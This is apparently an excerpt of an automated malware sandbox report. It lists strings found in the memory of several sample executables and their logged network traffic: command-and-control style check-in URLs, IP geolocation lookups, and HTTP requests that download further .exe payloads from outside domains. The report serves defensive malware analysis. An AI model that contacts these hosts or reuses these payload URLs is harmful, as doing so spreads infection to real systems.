Source: F5C7.exe, 00000010.00000003.505333538.0000000000573000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/
Source: F5C7.exe, 00000010.00000003.505333538.0000000000573000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/~
Source: F5C7.exe, 00000010.00000003.506652108.000000000057C000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.508136350.000000000057C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com:80/json/
Source: F5C7.exe, 00000010.00000003.511783784.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.509684134.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.524664098.0000000000567000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lin.hhiuew33.com/check/safe
Source: F5C7.exe, 00000010.00000003.529801460.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.541248712.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.524664098.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.522444773.0000000000567000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://linislominyt11.ww.hhiuew33.com/
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://search.msn.com/msnbot.htm)msnbot/1.1
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://search.msn.com/msnbot.htm)net/http:
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://search.msn.com/msnbot.htm)pkcs7:
Source: F5C7.exe, 00000010.00000003.514169499.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.512548761.000000000056A000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.517159638.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.515514422.0000000000567000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sty.hhiuew33.com/check/safe
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.avantbrowser.com)MOT-V9mm/00.62
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.baidu.com/search/spider.htm)MobileSafari/600.1.4
Source: F5C7.exe, 00000010.00000002.640096485.0000000002817000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.573376315.0000000002813000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.580231923.0000000002817000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.coP
Source: F5C7.exe, 00000010.00000003.514306208.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.514169499.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.511897021.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.517159638.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.515514422.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000002.594065675.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.522621920.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.575048540.000000000059A000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.509826918.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/
Source: F5C7.exe, 00000010.00000003.514306208.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/%r
Source: F5C7.exe, 00000010.00000003.525366626.000000000059A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/-rx
Source: F5C7.exe, 00000010.00000003.525366626.000000000059A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/WJR
Source: F5C7.exe, 00000010.00000003.511897021.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/X
Source: F5C7.exe, 00000010.00000002.594065675.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/Y
Source: F5C7.exe, 00000010.00000002.594065675.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/Yrl
Source: F5C7.exe, 00000010.00000002.594065675.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/_
Source: F5C7.exe, 00000010.00000003.514306208.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.514158172.0000000000565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2250263&key=adf8e58a65af6898b62025385f52bfe3
Source: F5C7.exe, 00000010.00000003.520320951.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.523451586.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.520094949.000000000057C000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.522832982.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.522102066.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.521768138.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2250365&key=11f4ba0476b4eb9162bd33f48be5265d
Source: F5C7.exe, 00000010.00000003.521688880.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.519523490.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2250365&key=11f4ba0476b4eb9162bd33f48be5265d9-90CE-806E6F6E6963
Source: F5C7.exe, 00000010.00000003.520094949.000000000057C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2250365&key=11f4ba0476b4eb9162bd33f48be5265dac
Source: F5C7.exe, 00000010.00000003.537735960.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.542413744.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.545142150.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2250431&key=33503c8cc65134cf05c8fddbe6ef557f
Source: F5C7.exe, 00000010.00000003.527001654.0000000000621000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.525704035.000000000061E000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.529182805.0000000000621000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.525673335.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2250431&key=33503c8cc65134cf05c8fddbe6ef557fd
Source: F5C7.exe, 00000010.00000003.549686510.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2250785&key=8de818f09839fce5ea37b654046f3df9
Source: F5C7.exe, 00000010.00000003.549193092.000000000061D000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.546629599.0000000000619000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.548482440.000000000061B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2250785&key=8de818f09839fce5ea37b654046f3df99-90CE-806E6F6E6963
Source: F5C7.exe, 00000010.00000003.545142150.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2250785&key=8de818f09839fce5ea37b654046f3df9=
Source: F5C7.exe, 00000010.00000003.554354104.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2250955&key=cc526d757b8b09cd7255d9d9296cfd5c
Source: F5C7.exe, 00000010.00000003.554354104.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2250955&key=cc526d757b8b09cd7255d9d9296cfd5c=
Source: F5C7.exe, 00000010.00000003.554354104.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2250955&key=cc526d757b8b09cd7255d9d9296cfd5cnalY/
Source: F5C7.exe, 00000010.00000003.568041358.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2251105&key=29e19bb8301861d213a65ed61bf4d1b6
Source: F5C7.exe, 00000010.00000003.576518898.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.568041358.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000002.596260237.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2251105&key=29e19bb8301861d213a65ed61bf4d1b6D/
Source: F5C7.exe, 00000010.00000003.568041358.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2251105&key=29e19bb8301861d213a65ed61bf4d1b6nal
Source: F5C7.exe, 00000010.00000003.568041358.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2251105&key=29e19bb8301861d213a65ed61bf4d1b6nal./
Source: F5C7.exe, 00000010.00000002.596260237.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2251403&key=8e2d61f4841dacf51fa24992b8b77e1c
Source: F5C7.exe, 00000010.00000002.596260237.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=2251403&key=8e2d61f4841dacf51fa24992b8b77e1c8g
Source: F5C7.exe, 00000010.00000003.509826918.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.520032953.0000000000567000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safe
Source: F5C7.exe, 00000010.00000003.561404393.0000000002827000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.563034979.000000000282C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safe(
Source: F5C7.exe, 00000010.00000003.524822407.000000000057C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safe2
Source: F5C7.exe, 00000010.00000003.509955954.00000000005AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safe3Z
Source: F5C7.exe, 00000010.00000002.594065675.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safe:
Source: F5C7.exe, 00000010.00000002.594065675.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safeG
Source: F5C7.exe, 00000010.00000003.520210778.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.522621920.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safeJR
Source: F5C7.exe, 00000010.00000003.525366626.000000000059A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safe_R
Source: F5C7.exe, 00000010.00000003.512594646.000000000057C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safeeW
Source: F5C7.exe, 00000010.00000003.545439947.00000000005DA000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.545386754.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safek/?s
Source: F5C7.exe, 00000010.00000003.544697823.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000002.595084377.00000000005AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safep
Source: F5C7.exe, 00000010.00000003.509826918.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safeq
Source: F5C7.exe, 00000010.00000002.594065675.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/p6YVdRaU9qSXl
Source: F5C7.exe, 00000010.00000003.509826918.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/st_act9rL
Source: F5C7.exe, 00000010.00000003.520210778.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.514306208.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.516302551.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.522621920.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.517211796.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/xy.dllAAIAAA
Source: F5C7.exe, 00000010.00000003.511854629.000000000057C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com:80/check/?sid=2250221&key=e7624e478d30bafa822680537a86875f
Source: F5C7.exe, 00000010.00000003.515775891.000000000057C000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.514259967.000000000057C000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.517183124.000000000057C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com:80/check/?sid=2250263&key=adf8e58a65af6898b62025385f52bfe3.a8
Source: F5C7.exe, 00000010.00000003.522539351.000000000057C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com:80/check/?sid=2250365&key=11f4ba0476b4eb9162bd33f48be5265d
Source: F5C7.exe, 00000010.00000003.541523888.000000000057C000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.531298294.000000000057C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com:80/check/?sid=2250431&key=33503c8cc65134cf05c8fddbe6ef557fZ0lpSXNJQ0oxYVdRaU
Source: F5C7.exe, 00000010.00000003.515775891.000000000057C000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.514259967.000000000057C000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.517183124.000000000057C000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.512594646.000000000057C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com:80/check/safe2250221&key=e7624e478d30bafa822680537a86875f
Source: F5C7.exe, 00000010.00000002.591676814.000000000057C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com:80/check/safe2251403&key=8e2d61f4841dacf51fa24992b8b77e1cZ0lpSXNJQ0oxYVdRaU9
Source: F5C7.exe, 00000010.00000003.529801460.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.541248712.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.511783784.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.509684134.0000000000567000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.coww.hhiuew33.com/
Source: D7DE.exe, 0000000F.00000000.484149118.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: F5C7.exe, 00000010.00000003.529801460.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.541248712.0000000000567000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://am.hhiuew33.com/check/?sid=2250431&key=33503c8cc65134cf05c8fddbe6ef557f
Source: D7DE.exe, D7DE.exe, 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, D7DE.exe, 0000000F.00000000.485250320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D7DE.exe, 0000000F.00000002.500446767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D7DE.exe, 0000000F.00000000.484149118.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://blockchain.infoindex
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://blockstream.info/apihttps://sofolisk.com/api/loginvalid
Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://turnitin.com/robot/crawlerinfo.html)gentraceback
Source: F5C7.exe, 00000010.00000002.589133590.0000000000567000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://v..hhiuew33.com/check/safe
Source: 20C0.exe, 00000019.00000003.550281421.0000000000655000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://v.P
Source: 20C0.exe, 00000019.00000003.552888612.0000000000639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://v.xyzgamev.com/
Source: 20C0.exe, 00000019.00000003.552888612.0000000000639000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.551953277.0000000000655000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.562015505.0000000000655000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.553223731.0000000000657000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://v.xyzgamev.com/31.html
Source: 20C0.exe, 00000019.00000003.562015505.0000000000655000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://v.xyzgamev.com/31.htmlnH1
Source: 20C0.exe, 00000019.00000002.584832449.000000000019B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://v.xyzgamev.com/logo.pnghttps://v.xyzgamev.com/%d.htmlhttps://v.xyzgamev.com/31.html
Source: F5C7.exe, 00000010.00000002.589133590.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000002.640096485.0000000002817000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://v.xyzgamev.comww.hhiuew33.com/
Source: 20C0.exe, 00000019.00000003.549967318.0000000000645000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.550518451.0000000000655000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.563412912.0000000000641000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000002.669600782.0000000002EF2000.00000004.00000800.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.546071000.0000000000647000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.552955233.0000000000641000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.547987765.0000000000654000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.553006526.0000000000645000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000002.677674373.0000000002EF6000.00000004.00000800.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.581064428.0000000000664000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.562015505.0000000000655000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.561767897.000000000066A000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.582577568.0000000000641000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.547050987.000000000063A000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000002.667173651.0000000002EF0000.00000004.00000800.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.541757314.000000000063A000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.545975911.0000000000652000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.581128526.000000000066D000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000002.672543742.0000000002EF4000.00000004.00000800.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.568349499.0000000000636000.00000004.00000020.00020000.00000000.sdmp, 20C0.exe, 00000019.00000003.550967523.0000000000645000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing

Source: unknown

DNS traffic detected: queries for: monsutiur4.com

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /gamexyz/31/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: i.xyzgamei.com
Source: global traffic	HTTP traffic detected: GET /gamexyz/31/dd428b313f4ff686a4a5b5cd7dc34a50.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: b.game2723.com
Source: global traffic	HTTP traffic detected: GET /upload/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: amrhomedecor.com
Source: global traffic	HTTP traffic detected: GET /upload/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: www.amrhomedecor.com
Source: global traffic	HTTP traffic detected: GET /608d2d360fdf2ef9b5e53e7761a71eb3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: trustnero.com
Source: global traffic	HTTP traffic detected: GET /48fccb3e0de4acd2e01df251682513fe/608d2d360fdf2ef9b5e53e7761a71eb3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: fakermet.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
